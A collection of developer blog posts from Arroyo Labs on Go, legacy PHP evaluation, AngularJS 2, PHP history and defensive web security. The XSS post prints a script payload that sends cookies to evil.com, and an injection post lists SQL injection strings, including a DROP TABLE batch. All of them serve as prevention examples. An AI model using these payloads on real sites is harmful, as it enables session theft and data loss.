Arroyo Labs

[arroyolabs]

Let's Go!

The Go programming language, also known as golang, is an open source project created by Robert Griesemer, Rob Pike, and Ken Thompson in 2007 and sponsored by Google  

as an intended to resolve common criticisms of other languages while maintaining their positive characteristics.

It’s heavily based on C, but designed to be more concise and secure. Go has become increasingly popular for seasoned developers and new programmers alike,

used in many open source and commercial software applications.

Some notable companies using Go within their applications include Google, Dropbox, CloudOS, MongoDB, Docker and Uber.

Go Language Basics

Go is a statically typed, compiled, garbage-collected, concurrent general purpose programming language. Go is considered as an object oriented programming language and it uses object composition instead of class inheritance.

Go was based on several languages besides C: Pascal, Modula, Oberon, Newsqueak, and Limbo.

It is a traditionally compiled, object oriented, functional language that features static typing, garbage collection, concurrency, memory safety, and high readability.

Some of the major advantages of Go include:

Concise, simple syntax.

Extremely fast compile times.

The ability to divide routine threads into sub threads, allowing for a high degree of concurrency.

Built-in support for strings and maps.

Go includes a huge standard library, including its own built-in web server.

The language supports most major operating systems and computer hardware.

Objects In Go

Since a standard definition does not exist, let's use this one, "An object is an abstract data type that has state (data) and behaviour (code)".

Go doesn’t have something like  `object`, even though it does have a type that matches the same definition of a data structure that integrates both code and behaviour.

In Go this is called a ‘struct’.

With struct we define a new data type containing the name of fields (attributes) that will keep the “state” of the object. To implement the behaviour of this object in Go,

we use functions bound to a pointer of this struct. Here’s an example to illustrate it:

Relationships between Objects In Go

Instead of inheritance Go strictly follows the composition over inheritance principle. Go accomplishes this through both subtyping (is-a) and object composition (has-a) relationships between structs and interfaces.

The mechanism Go uses to implement the principle of object composition is called embedded types. This way we have a field that is a subtype of other object, but this filed remains in a different entity.

Because of that Go provides two alternatives, “Pseudo sub typing” and “True sub typing”.

We accomplish this pseudo is-a relationship in go using what is called an Anonymous field.

Over the next posts I will bring you a more detailed explanation about this concepts while introduce you data types and language characteristics with some examples on each topic.

[arroyolabs]

Legacy Code Evaluation Part 2 - Back End Code Evaluation and Tools

Intro

All of us will encounter legacy code, and most of us will ‘inherit’ code to maintain. In our first post on legacy code, we talked about getting the things you need to start working on a project. In this post, we will talk about how you can evaluate the backend code you will most likely have to start digging in to start new features or squashing bugs.

While you will encounter a significant amount of UX or front-end issues when starting on a new project, you are also just as likely to have to track an issue to the underlying backend code. The backend not only creates the foundation for your web app but its also the last line of defense for your back end code. At minimum issues on the backend will cause confusing results or headaches. At worst, issues on the backend will expose some of the most vital parts of your webapp to exploits.

Most backend code is the result of a lot of hours and hard work; it can be extremely confusing to wrap your head around the basic concepts let alone the deeper portions of the code. We'll discuss some basic patterns and explain some of the tools we use to explore code, PHP code in particular, when we take on a project with some 'baggage'.

Strategies

I like to split the application into small semantic sections. You can either break an application down into 'workflows', the actions a user may perform with an application; or as 'roles', things a particular actor will use a web app for. While this may sound like a very high level activity for inspecting back end code I think its crucial for understanding the application itself.

Once you have split the code into sections, trace the entire workflow. Follow the code from the beggining of an action to the resulting output. Tracing through the code will allow you to completely understand it.

Debugging and Tracing Tools

Xdebug

This is one of my favorite tools and is the first thing I install when I set up a new environment. Not only does this give me much easier to read error outputs, but it also gives you some great tools for interactive debugging. Seriously, if you do nothing else I suggest, at least install xdebug.

Remote Interactive Debugging - MacGDBp & chrome-xdebug-enabler

Interactive debugging is the best tool for finding that super stubborn bug or finding out why something isnt working as you expect. With a remote interactive debugger you can set break points and view exactly what the code is doing at a given point in time. You can actually inspect a variable value and watch it change as you step through the lines of code. This is something you should get excited about. Check out the screenshot below to see this in action with an example Erdiko project:

I use MacGDBp, a Cocoa based debugging tool that allows you to set break points and view the code when you set break points. I've been told that PHPStorm and even Sublime have some interactive debugging tools, I have not used those. MacGDBp is a bit dated, and I think almost abandonware, but it is still an indispensible tool in my aresenal. Check out the MacGDBp project docs for more info about the feature set and how to install it.

Personally, I would recommend using MacGDBp along with xdebug and the chrome extension 'chrome-xdebug-enabler' to interact with your debugger. Using this extension you can conditionally turn the debugging off and on as you wish when refreshing the page.

I should note that while I personally use MacGDBp with vim, many other editors also include some remote debugging tools. PHPStorm has this functionality built in, but there are plugins for SublimeText and other full editors. We will explore those in a later post.

PHPLint and PHPCodesniffer

There are two great tools for getting some high level information about a PHP codebase: PHPLint and PHPCodesniffer.

PHPCodesniffer evaluates code based on a provided set of rules and standards and outputs a report that can give you a good idea of how 'bad' things look under the hood. It's actually two tools: phpcs and phpcbf. phpcs evaluates the code, phpcbf attempts to fix the code. Personally, I like to use some discretion when tweaking code, so I would reccomend using phpcbf sparingly.

PHPLint is another tool, very similar to PHPCS that also outputs information on a code base based on rules and validation sets. This one is also very useful for generating user docs based on docblocks. This can be EXTREMELY useful when you need to collect a lot of information about a large codebase and create some baseline documentation for your team.

Unit Testing

Unit testing is often touted as the best prevention of introducing new bugs and finding conflicting code. I would also like to note, most people ignore the fact that introducing unit testing to legacy code is a painful process. Code written without testing in mind can often be a pain to manage dependencies and 'magically' required code.

This is a topic that actually deserves its own blog post, but I do want to mention it in this one.

... to be continued

In my next post, ill include some instructions on how to install xdebug on your local *nix development environment.

[arroyolabs]

A New Framework Architecture for 2016

Why a new architecture?

PHP is the most popular language on the net and has a wide array of frameworks, apps and packages available.  Most of the best ones are open source, free or have a freely available version of their paid app.

That being said, it’s only more recent that the frameworks are being made, or attempts are made, to make them work together as components.  I thinks its about time to rethink or re-imagine how a developer or architect can create complex systems in an incremental and meaningful way.

I spoke a bit about the history and features of PHP previously.  Folks like Facebook and Baidu use it extensively. Some of the PHP platforms that are widely adopted are Drupal, WordPress, Magento, Joomla, Media Wiki, Symfony, Laravel, and Yii.  All have considerable user bases and impressive feature sets.  They all however, have very different conventions, coding styles and theming styles.

Speaking of theming, the way developers create a UI these days is dramatically different than how it was done in the past.  Browsers are more powerful and devices are more diverse.  JavaScript is much more powerful and more uniformly supported than it was a decade ago when PHP 5 came out (don’t forget about the V8 engine too).

Theming: Not everything has to be PHP anymore.  We now have

Bootstrap, & Material

Pre-compiling theme & components

Less/Sass

Gulp, bower, & grunt composition and code prep

Powerful JS frameworks and libraries: Angular, React, & more

Many more options than just jQuery these days

What’s missing from existing frameworks

Modularity

Some frameworks handle it well, but often the modularity is very limited to a smaller ecosystem, or at least an isolated ecosystem.

Composibility

Things are too often configured (db and config file) and not composed.  That is very convenient, but leads to slow production code and is more limited than a composable system

Security

Code should be outside the web root

Should work with and without a reverse proxy

Protect against common attacks

Models / ORM

The framework should work with any composer based (or modular) ORM

With so many rich ORMs and data connection tools available I don’t believe the framework should be relegated to only one ORM or model paradigm

Different scenarios call for different model approaches.  How can the framework facilitate the right data tool for the job?

Mashability

Create components that can easily be used together

Easy to add to any framework including erdiko

Leverage more code across and between frameworks

e.g. Use Eloquent in Slimphp

Routing

Symfony Request & Response

Symfony Router

Easy Compiled Routes

PhpMatcherDumper

Via plugins

Database routes (cms content)

Application specific routes

e.g. Magento, WordPress, Drupal

Server Automation

Work well with containers, modern deployments and popular coding workflows

The Developer / Architect paradox

This does however have a downside and that is what I call the developer / architect paradox.  This is developers wanting a complete solution and picking a tool that gets them 80% of the way there very quickly but they struggle with the 20% and have to make too many sacrifices and concessions to make the full system work.

[arroyolabs]

Legacy Code Evaluation Part 1 - Intro

All of us will encounter legacy code, and most of us will ‘inherit’ code to maintain. Even on the freshest of projects 99 % of the time you will encounter some ‘baggage’ code that we will have to maintain. This is especially true as a contractor for any PHP project. Deservedly or not, PHP has a bad reputation for code quality 

The good news is that you can mitigate some of the worst aspects of a legacy project by doing some work up front. Making sure you have all the assets you need up front can prevent embarrassing emails to the client asking for random things and generally making your life easier.  

For this first of three blog posts about legacy code, we’ll spit this into two lists: Things you need and nice to haves. 

Things you need:

Server Access 

This should be a no brainer. You need access to the server to make sure you have the most up to date code, and hopefully you will be deploying some updates in the near future. Yes, this may seem very obvious but you would be surprised how easy it is to forget this step in the excitement of a new project.

Ask the client how they access and how the previous team accessed the server. Make sure you try and actually login with these credentials as well. After you successfully get access, you may need to deactivate or in the minimum change some passwords of the previous server users. 

Code in Version Control

You will also want access to the most up to date version of the codebase, hopefully in a form of version control. Again, while this seems like a no-brainer, it is very important to track changes you make once you start to dig into the code. It can also provide some information as to what the previous developer was thinking with the code in the past. 

Once you have access to this you can convert it to your VCS of choice or continue to use the one provided. You will really want to consider keeping the VCS the same if you are working with other existing teams or with the client who needs access to the code.  

It is also worth your time to ensure that the code in the VCS is sync’d and up to date with what is on the production server. There are many file comparison tools that can be used to compare entire directories which we will cover in our next post. While you can assume a previous team who had a code base in version control has kept things up to date… like the Russians say: Trust, but verify.

Documentation 

Ask for any documentation the client can provide, good or bad. Something is better than nothing.

You should also plan on converting this into some form of living document you can edit and share easily. A self hosted wiki works great for tracking changes, but so does a markdown file stored in the repo itself. Anything easy to edit will remove another barrier that will prevent you from updating documentation, and already loathsome task.

You should be documenting everything as you explore the project. Document the file and database structure, document the existing workflows. Ask the client how things “should work” and then note how things are broken. Get it all into a living document so you can track your progress. 

Nice to Haves: 

A Shared Project Management System

Create a method in which you can communicate your project status with the customer. This will also provide a great resource in which you and the client can document bugs and future updates.

A shared system will allow you to manage your project beyond instant messages and emails. It also provides instant feedback to the client allowing them to see ‘exactly what they are paying you for’ and allows for the easier exchange of ideas.

If you’re lucky, the client may already have one (and be trained on how to use it.) It’s also very likely the client does not know how or what a Project Management System is, in which case priority number one is showing them how it is useful.

A separate Staging and local development environment

Tools like Docker and Vagrant allow you to spin up servers quickly and provide tools to re-recreate the server after you mess it up. This will become very important as you dig in and mess things up while trying to determine exactly what is wrong.

Our next post will focus on some frameworks and tools we commonly use to evaluate legacy code. We’ll also provide some basic examples of how to use these tools.

[arroyolabs]

XSS: Cross Site Scripting

Introduction

This is probably the most common vulnerability these days on Internet Web Apps. Consist in inject client-side scripts in web pages viewed by other users.

What is Cross-Site Scripting?

XSS occurs when an attacker is capable of injecting a script, often Javascript, into the output of a web application in such a way that it is executed in the client browser.

Even when it’s usually underestimated by developer, injected Javascript can be used to accomplish a lot of damage like: steal cookies and sessions, steal user’s entity to perform request, redirect to hostile hosts, manipulating client-side persistent storage, rewriting or manipulating in-browser applications, attacking browser extensions, and the list goes on.

Types of Cross-Site Scripting Attacks

This kind of attacks can be split in two big categories: The first lies in how malicious input navigates the web application, while the second attempt to include the malicious input within the output of current request.

Reflected XSS Attack: Untrusted input sent to a web application is immediately included in the application’s output. Reflection can occur with error messages, search engine submissions, comment previews, etc. This form of attack can be mounted by persuading a user to click a link or submit a form of the attacker’s choosing.

Stored XSS Attack: A Stored XSS attack is when the payload for the attack is stored somewhere and retrieved as users view the targeted data. While a database is to be expected, other persistent storage mechanisms can include caches and logs which also store information for long periods of time. 

DOM-based XSS Attack: DOM-based XSS can be either reflected or stored and the differentiation lies in how the attack is targeted. Most attacks will strike at the immediate markup of a HTML document. However, HTML may also be manipulated by Javascript using the DOM. An injected payload, rendered safely in HTML, might still be capable of interfering with DOM operations in Javascript. There may also be security vulnerabilities in Javascript libraries or their usage which can also be targeted.

How to prevent 

Here I will show you a list of topic you should have in mind.

Input Validation

Input Validation is any web application’s first line of defence.Validation works best by preventing XSS attacks on data which has inherent value limits. An integer, for example, should never contain HTML special characters. An option, such as a country name, should match a list of allowed countries which likewise will prevent XSS payloads from being injected.

Input Validation can also check data with clear syntax constraints.

Escaping (also Encoding)

Escaping data on output is a method of ensuring that the data cannot be misinterpreted by the currently running parser or interpreter. The method of escaping varies depending on which Content data is being injected into. The most common Contexts: HTML Body, HTML Attribute, Javascript, URL and CSS.

Content-Security Policy

The Content-Security Policy (CSP) is a HTTP header which communicates a whitelist of trusted resource sources that the browser can trust. Any source not included in the whitelist can now be ignored by the browser since it’s untrusted. Consider the following:

X-Content-Security-Policy: script-src 'self'

This CSP header tells the browser to only trust Javascript source URLs pointing to the current domain and ignore the rest.

If we need to use Javascript from another source besides ‘self’, we can extend the whitelist to include it. For example, let’s include jQuery’s CDN address.

X-Content-Security-Policy: script-src 'self' http://code.jquery.com; style-src 'self'

Browser Detection

HTML Sanitisation

At some point we might need to include external HTML without escaping it. An example of that can be blog comments.

If we were to escape the resulting HTML markup from those sources, they would never render correctly so we instead need to carefully filter it to make sure that any and all dangerous markup is neutralised.

For example:

I am a Markdown paragraph.<script>document.write(‘<iframe src=”http://evil.com?cookie=‘ + document.cookie.escape() + ‘” height=0 width=0 />’);</script>

There’s no need to panic. I swear I am just plain text!

Markdown is a popular alternative to writing HTML but it also allows authors to mix HTML into Markdown. It’s a perfectly valid Markdown feature and a Markdown renderer won’t care whether there is an XSS payload included.

In order to prevent here is an example of a PHP library: HTMLPurifier

// Basic setup without a cache $config = HTMLPurifier_Config::createDefault(); $config->set('Core', 'Encoding', 'UTF-8'); $config->set('HTML', 'Doctype', 'HTML 4.01 Transitional'); // Create the whitelist $config->set('HTML.Allowed', 'p,b,a[href],i'); // basic formatting and links $sanitiser = new HTMLPurifier($config); $output = $sanitiser->purify($untrustedHtml);

Final remarks and cheat sheets

Always the first step to prevent almost all kind of attack is to clean/sanitize all inputs and outputs.

Security workflow should traversal to the whole lifecycle of the project, is not just a patch we can apply at some point to fix all problems. It should be think from the design stage.

In addition to the above words, and to finish this post, I will share a couple of cheat sheets that would help you in the develop/implementation stages.

https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

https://www.blackhat.com/presentations/bh-usa-09/VELANAVA/BHUSA09-VelaNava-FavoriteXSS-SLIDES.pdf

[arroyolabs]

AngularJS 2 & AJAX

Intro

The AJAX paradigm really launched the web into primetime some 10+ years ago, but now its almost expected. Now it’s a ubiquitous part of the web landscape. Most web apps now resemble an ‘app’ in regards to their UX and users ‘expect’ content to dynamically update without a page refresh. In the past, we have used some great tools like jQuery to cobble together a basic app to interact with our page and an AJAX backend, but a framework like AngularJS adds some sanity and structure to what could have been a mess of spaghetti code.

The most common use cases for AJAX are dynamic content and form interactions. For example, if you have a large list of tabular data, you can load it via AJAX to show your basic page to a user without having to render the table on the server. Forms can be validated with JS and sent to the server in the ‘background’ so the user doesn’t have to leave the page. There are MANY other use cases for AJAX, but I think this covers the majority you will encounter when developing a web app.

HTTP / XHR

Most browsers you will encounter, or your clients will use, will have access to the HTTP API known as XHR (it’s safe to assume that anything above IE 5.6 will allow you access to this API). While some browsers offer Fetch support, I will skip that for the purposes of this blog post.

AngularJS Services

In general, you will provide AJAX access via a service. Services are a part of the Dependency Injection patten that makes AngularJS so modular. Creating a piece of code that allows you to encapsulate all actions that make AJAX calls allows for better re-use and easier testing.

Observables vs Promises

Too often used tools/patters for working with asynchronous data structures are Observables and Promises. While you may be familiar with Promises as a pattern, and most likely have used something like promises in the past, Observables are a pretty new concept to me.

In short, Observables are "a push based collection” using the observer pattern. Put simply, this is a queue of objects with some amazing manipulation methods and hooks to allow you to detect when something occurs within the queue. It’s pretty great for dealing with a dataset that needs to be lazy loaded or can possibly get updated in the life cycle of the application.

Here is a simple example based on the angular.io Hall of Heros example showing an observable request:

A promise is “a way to define actions or computations once an async event completes”; an observable is "way to define computations or actions that happen when one or more events in a stream occur”.

Here is a simple example based on the angular.io Hall of Heros example showing an promise based request:

The key take away from comparing these two tools: observables and promises are both great tools for async programming like AJAX, but observables are more like a stream of data than a 'one time request of data'. We'll touch more on this in future blog posts.

Here are some code examples that borrow very heavily from the HTTP Client example found on the Angular.io site.

Code Example: Promise

http://plnkr.co/edit/aB69cfM5soJzz9SPf1e7

Code Example: Observable

http://plnkr.co/edit/t6zDqSAjGNvSKNzIQJtR

[arroyolabs]

Injection Flaws: Part 2

How to detect and prevent

The only way to detect flaws in your system is through deep testing.

Fortunately, there's a set of tools recommended by OWASP, that may help you on this task. W3AF (w3af is a Web Application Attack and Audit Framework), Web Scarab (WebScarab is a framework for analysing applications that communicate using the HTTP and HTTPS protocols. It is written in Java, and is thus portable to many platforms. WebScarab has several modes of operation, implemented by a number of plugins. In its most common usage, WebScarab operates as an intercepting proxy, allowing the operator to review and modify requests created by the browser before they are sent to the server) and BURP (Burp Suite is an integrated platform for performing security testing of web applications. Its various tools work seamlessly together to support the entire testing process), just to mention some examples from the top of my head.

The general rule is to clean up all inbound and outbound.

This means you should ensure, in the first step, that you’re rejecting or deleting invalid characters. To do that you can use any sanitise library, PHPSanitizer as example mentioned on a previous post (Security in Web-apps: Overview).

Following with the process of harden our system, lets continue with SQL Injection, that can be tackled with code best practices. (the others might need some server configuration as part of the solution)

We can follow the next steps as a cheat sheet that will help to prevent most of the attacks.

Use of Prepared Statements (Parameterized Queries)

Prepared statements ensure that an attacker is not able to change the intent of a query, even if SQL commands are inserted by an attacker. In rare circumstances, prepared statements can harm performance. When confronted with this situation, it is best to either a) strongly validate all data or b) escape all user supplied input using an escaping routine specific to your database vendor as described below, rather than using a prepared statement.

Use of Stored Procedures

Stored procedures have the same effect as the use of prepared statements when implemented safely (this means without dynamic query generation) which is the norm for most stored procedure languages. The difference between prepared statements and stored procedures is that the SQL code for a stored procedure is defined and stored in the database itself, and then called from the application.

Escaping all User Supplied Input

This technique is based on escape the inputs before put them in the query - I strongly recommend that use this technique in addition with other - for instance, using a library suggested at the top of this section.

For this technique, you should also take care on specific DBMS escaping character information, in the following link is an example of Oracle Escaping information

http://www.orafaq.com/wiki/SQL_FAQ#How_does_one_escape_special_characters_when_writing_SQL_queries.3F

In addition to

Principle of Least Privilege

In order to minimize  the potential damage of a success injection, you shouldn’t use a DBA privileged user, but instead, connect with a user that has the minimum privileges required by the system. You also shouldn’t run your DBMS as root, sometimes DBMS allow to execute OS instructions. This is not matter of data you store in your database only.

Examples

Based on the next statement I’m going to show the most common SQL vectors:

Based on 1=1 is Always True

txtUserId = getRequestString("UserId"); txtSQL = "SELECT * FROM Users WHERE UserId = " + txtUserId; SELECT * FROM Users WHERE UserId = 105 or 1=1

Result, this will list all records in Users table, no matter of the UserId.

Based on ""="" is Always True

uName = getRequestString("UserName"); uPass = getRequestString("UserPass"); sql = "SELECT * FROM Users WHERE Name ='" + uName + "' AND Pass ='" + uPass + “'"

Result, this will list all records in Users table, no matter of the UserName nor UserPass.

Based on Batched SQL Statements

txtUserId = getRequestString("UserId"); txtSQL = "SELECT * FROM Users WHERE UserId = " + txtUserId; SELECT * FROM Users WHERE UserId = 105; DROP TABLE Suppliers

Result, you will lost Suppliers table.

This is just a quick start on Injection prevention, security should be implemented in layers. In our next post, we will talk about Cross Site Scripting (XSS), definition and tips to dealing with it.

[arroyolabs]

Evolution of the PHP Language

PHP is a language for the web, the most popular one in fact.  That’s not to say it’s the best, or the worst for that matter but the number of webpages powered by PHP outweighs all the other languages including JAVA, python, Ruby on Rails, etc.

On the heels of the launch of PHP 7, I thought it would be interesting to see the evolution of PHP.  The focus here is mostly on the evolution of PHP starting with PHP 5.0 which was released almost a decade ago.  Objects were introduced in Version 4, but PHP didn’t really become a more modern object oriented language until version 5.  It’s when the language really started to grow up.

Let’s take a look at what each version of 5 brought us.

PHP 5.0

Version 5 continues the move toward object oriented programming

New Features

Zend Engine 2, which greatly improved PHP’s performance

MySQLi, or improved MySQL, was introduced

SQLite is now built into PHP

For more information check out, http://php.net/manual/en/migration5.incompatible.php

PHP 5.1

New Features and Improvements

Support for custom autoloading was eventually a game changer for PHP framework creators

spl_autoload_register in PHP 5.1.2

A complete rewrite of date handling code, with improved timezone support.

Significant performance improvements compared to PHP 5.0.X.

PDO extension is now enabled by default.

Over 30 new functions in various extensions and built-in functionality.

Over 400 various bug fixes

For more information check out, http://php.net/manual/en/migration51.changes.php

PHP 5.2

New Features

Improved memory manager and increased default memory limit. The new memory manager allocates less memory and works faster than the previous incarnation.

New Extensions (The following are new extensions added (by default) as of PHP 5.2.0)

Filter - validates and filters data, and is designed for use with insecure data such as user input. This extension is enabled by default; the default mode RAW does not impact input data in any way.

JSON - implements the JavaScript Object Notation (JSON) data interchange format. This extension is enabled by default.

Zip - enables you to transparently read or write ZIP compressed archives and the files inside them.

PHP 5.3

One of the most important updates to PHP that I can think of.  Don’t be surprised if you come across a site that is still running version 5.3 (however this is not recommended ;-)  

New Features

Support for namespaces has been added

Support for Late Static Bindings has been added

Support for jump labels (limited goto) has been added.

Support for native Closures (Lambda/Anonymous functions) has been added.

There are two new magic methods, __callStatic() and __invoke().

Nowdoc syntax is now supported, similar to Heredoc syntax, but with single quotes.

It is now possible to use Heredocs to initialize static variables and class properties/constants.

Heredocs may now be declared using double quotes, complementing the Nowdoc syntax.

Constants can now be declared outside a class using the const keyword.

The ternary operator now has a shorthand form: ?:.

The HTTP stream wrapper now considers all status codes from 200 to 399 to be successful.

Dynamic access to static methods is now possible

For more information check out, http://php.net/manual/en/migration53.new-features.php

PHP 5.4

Traits and built in development web server are really cool.  Although they have been here since 5.4 some folks are just now using them.

New Features

Support for traits has been added.

Short array syntax has been added, e.g. $a = [1, 2, 3, 4]; or $a = ['one' => 1, 'two' => 2, 'three' => 3, 'four' => 4];.

Function array dereferencing has been added, e.g. foo()[0].

Closures now support $this.

<?= is now always available, regardless of the short_open_tag php.ini option.

Class member access on instantiation has been added, e.g. (new Foo)->bar().

Class::{expr}() syntax is now supported.

Binary number format has been added, e.g. 0b001001101.

Improved parse error messages and improved incompatible arguments warnings.

The session extension can now track the upload progress of files.

Built-in development web server in CLI mode.

the <?= tag has been a contentios item in some code bases, especially with larger teams, it’s great that it is always available now.  It’s cleaner and easier to write than <?php echo

For more information check out, http://php.net/manual/en/migration54.new-features.php

The page on traits is worth a read too, http://php.net/manual/en/language.oop5.traits.php

PHP 5.5

New Features

finally keyword added

password_hash()

foreach now supports list()

empty() supports arbitrary expressions

array and string literal dereferencing

Generators added

For more information check out, http://php.net/manual/en/migration55.new-features.php

To learn more about Generators read, http://php.net/manual/en/language.generators.overview.php

PHP 5.6

New Features

Constant expressions

Variadic functions can now be implemented using the ... operator, instead of relying on func_get_args().

Arrays and Traversable objects can be unpacked into argument lists when calling functions by using the ... operator. This is also known as the splat operator in other languages, including Ruby.

A right associative ** operator has been added to support exponentiation, along with a **= shorthand assignment operator.

use function and use const

The use operator has been extended to support importing functions and constants in addition to classes. This is achieved via the use function and use const constructs, respectively.

phpdbg - PHP now includes an interactive debugger called phpdbg implemented as a SAPI module.

Default character encoding

php://input is reusable

Files larger than 2 gigabytes in size are now accepted.

GMP supports operator overloading

hash_equals() for timing attack safe string comparison

The __debugInfo() magic method has been added to allow objects to change the properties and values that are shown when the object is output using var_dump().

gost-crypto hash algorithm

SSL/TLS improvements

pgsql async support

For more information check out, http://php.net/manual/en/migration56.new-features.php

PHP 6?

PHP 6 was a false start and development was eventually abandoned in favor of V7.  I never used it but from the sound of it I didn’t miss much.

If for some reason you are using PHP 6, upgrade to 7 ASAP!

PHP 7

As mentioned earlier, PHP 7 is huge step forward.  Type declarations will make code less error prone and the the 2x speed improvement will speed up your site.

New Features

Scalar type declarations

Scalar type declarations come in two flavours: coercive (default) and strict. The following types for parameters can now be enforced (either coercively or strictly): strings (string), integers (int), floating-point numbers (float), and booleans (bool). They augment the other types introduced in PHP 5: class names, interfaces, array and callable.

Return type declarations

Null coalescing operator

The null coalescing operator (??) has been added as syntactic sugar for the common case of needing to use a ternary in conjunction withisset(). It returns its first operand if it exists and is not NULL; otherwise it returns its second operand.

Spaceship operator (<=>)

Constant arrays using define()

Anonymous classes

Closure::call()

Filtered unserialize()

Expectations

Group use declarations

Generator Return Expressions

Generator delegation

Session options

preg_replace_callback_array()

CSPRNG Functions

list() can always unpack objects implementing ArrayAccess

For more information check out, http://php.net/manual/en/migration70.new-features.php

Other useful PHP7 links

http://php.net/manual/en/migration70.php

https://blog.engineyard.com/2015/what-to-expect-php-7

Bonus Points

Do you remember what PHP stood for originally?

[arroyolabs]

Injection Flaws: Part 1

Introduction

In this post I intend to give some definitions related with Injection Flaws, what are they? and how you can determine if your system might be vulnerable to this kind of attacks.

In a second part, I will show you some examples and some tips to help you detect and prevent this flaws.

What injection flaws are?

Injection is an entire class of attacks that rely on injecting data into a web application in order to facilitate the execution or interpretation of malicious data in an unexpected manner.

We can include Cross-Site Scripting (XSS), SQL Injection, Header Injection, Log Injection and Full Path Disclosure in this class, just to mention some examples.

The first two examples mentioned above, are the most usual used in this kind of attacks.

Usually, hackers just change the URL (in the location bar of browser for instance) adding an string that can be interpreted by system allowing to change the business logic of the system.

A classification of SQL injection attacking vector:

How to determine if you are vulnerable

The best way to determine if your applications are vulnerable to injection attacks is to search the source code for all calls to external resources (e.g., system, exec, fork, Runtime.exec, SQL queries, or whatever the syntax is for making requests to interpreters in your environment). Note that many languages have multiple ways to run external commands. Developers should review their code and search for all places where input from an HTTP request could possibly make its way into any of these calls. You should carefully examine each of these calls to be sure that the protection steps outlined below are followed.

[arroyolabs]

Understanding AngularJS 2 vs AngularJS 1: Part 2

Components instead of Controllers

While Components have been around in some shape or form around the web, Angular 2 is based around these amazingly flexible elements.

Components in AngularJS 2 will entirely replace controllers. In fact, they will also replace the concept of a module. They look like a directive, but actually act like a controller.

A component is essentially an HTML element that uses Shadow DOM to encapsulate its own scope and behavior. What this really means: your component has its own variable scope. What happens in your component, stays in your component. You can however inject your components into other components or decorate them to add functionality.

Here is an example of the previous burrito example above implemented in AngularJS 2 showing a component in action: http://embed.plnkr.co/5PnUdTQiPCOWDzrB6RSN/

Decorators via Annotations

Decorators are a simple design pattern that we can now use to update the values and context of a component without introducing new behavior.

Seriously, this is great. You can just apply a decorator to your directive and change its variable values without actually tearing into its guts. Change your components color from 'Red' to 'Blue' at runtime externally without hacking away at its internal functionality or exposing some getter after the fact.

Currently, this is available in the upis provided by TypeScript, but is

A Focus on Dependency Injection

AngularJS 1.x certainly used the concept of dependency injection and promoted it with the usage of services and factories. I don't think I need to spend a lot of time stumping why and how this can make for better encapsulation and easier re-use of code.

AngularJS 2 will take this a step further and encourage you to use dependency injection with components. Write a login component and inject it into

Zones.js

Previously, we needed to let the Digest / Apply loop cycle through your variables, or use the oft-maligned scope.$apply to let your app know that something changed. ZoneJS will now be handling all of this.

Zones is able to encapsulate the entire scope of your component and is aware of when asynchronous events start and stop.

While getting away from $apply and not having to worry about your scope is great, here comes the best part: ZonesJS will speed up execution time as much as 5x compared to AngularJS 1.x code.

Here is a great talk about Zones by Brian Ford given at the 2015 ng-conf.

The bad news: Zones is only available for modern evergreen browsers. This means if you are using IE10 or below you will not get the to use this amazing toolset. Angular 2 will have fallbacks with dirty value checking and poly-fills to make sure this is all invisible for you, but you will not see the major speed increase you would get from actually using ZonesJS.

TypeScript

TypeScript is a superset of ES6 and gives us some amazing features.

AngularJS 2 will be written in TypeScript, but this doesn't mean you have to use it. I can say that I plan on using it as I think this will be an area

Ok, this sounds great. How do I prepare to upgrade?

I won't go too much in depth on this but there will be upgrade paths and plans if you dont want to just 'start over' with your existing angular app.

The Official AngularJS 1.x to 2 Upgrade Strategy Doc offers some insight on how to upgrade.

[arroyolabs]

Security in Web-apps: Overview

Introduction

This blog entry intends to bring an overview about security and an introduction of usual mistakes and some tips.

Overview

What does Web application security means?

There are several definitions for this questions, but we can shorten them like:

A process that aims to address and fulfill the four principles of security:

Confidentiality: States that the sensitive data stored in the Web application should not be exposed under any circumstances.

Integrity: States that the data contained in the Web application is consistent and is not modified by an unauthorized user.

Availability: States that the Web application should be accessible to the genuine user within a specified period of time depending on the request.

Nonrepudiation: States that the genuine user cannot deny modifying the data contained in the Web application and that the Web application can prove its identity to the genuine user.

How to start working on this

As I mentioned before, security is process not just a patch that we can apply at the end of the project. This process should be transversal to the project, starting on the design phase and following, develop, tests and enhancements.

There’s an international non-profit organization that focus on software security improvements, Open Web Application Security Project (OWASP) that has identified the top 10 vulnerabilities:

Injection flaws

Injection is an entire class of attacks that rely on injecting data into a web application in order to facilitate the execution or interpretation of malicious data in an unexpected manner.

Broken authentication and Session Management

This is a vulnerability associated with the complex process of User’s authentication. This can happens in all web servers, application servers, and web application environments.

Cross Site Scripting (XSS)

XSS occurs when an attacker is capable of injecting a script, often Javascript, into the output of a web application in such a way that it is executed in the client browser.

Insecure direct object references

Insecure Direct Object References allow attackers to bypass authorization and access resources directly by modifying the value of a parameter used to directly point to an object. Such resources can be database entries belonging to other users, files in the system, and more. This is caused by the fact that the application takes user supplied input and uses it to retrieve an object without performing sufficient authorization checks.

Security misconfiguration

This is a set of potential flaws can be caused by a wrong configuration of web server or application server. There are a wide variety of server configuration problems that can plague the security of a site.

Sensitive data exposure

This web security vulnerability is about crypto and resource protection. Sensitive data should be encrypted at all times, including in transit and at rest. No exceptions.

Missing function level access control

This is simply an authorization failure. It means that when a function is called on the server, proper authorization was not performed.

Cross site request forgery (CSRF)

This is an attack that forces an end user to execute unwanted actions on a web application in which they’re currently authenticated.

Using components with known vulnerabilities

This flaws usually happens when 3rd party pieces of code are included in a system even when there are some vulnerabilities reported by the developers or any community.

Unvalidated redirects and forwards

We will talk about each item in later posts.

Basic Tips

A common expression between experts is “Never blindly trust the user! they don’t care about the problems can be caused to the system after an invalid input”. To avoid accidental or malicious issues caused by input, always sanitize data that will be used by your system.

Is very important you validate not only the inbound data, but also the output one. There are some threads used by hackers that try to inject redirections in large inputs the can be executed by client on output.

Here’s a small snippet that can show how to validate inputs:

... require_once(dirname(__FILE__).’/<path_to_classes>/PHPSanitizer.php’); $sanitizer = PHPSanitizer::getInstance(); $sanitizer->setType(PHPSanitizer::PARANOID); $sanitizer->validate($string); //return a boolean $sanitizer->cleanup($string); //returns an string with all invalid characters removed ...

Implementation of PARANOID type:

require_once(dirname(__FILE__).'/AbstractSanitizer.php'); require_once(dirname(__FILE__).'/ISanitizer.php'); class SanitizerParanoid extends AbstractSanitizer implements ISanitizer{ private $pattern = "/[^a-zA-Z0-9]/"; private $replacement = ""; public function validate($string){ return (preg_match_all($this->pattern, $string)===0); } public function cleanup($string){ return preg_replace($this->pattern, $this->replacement, $string); } }

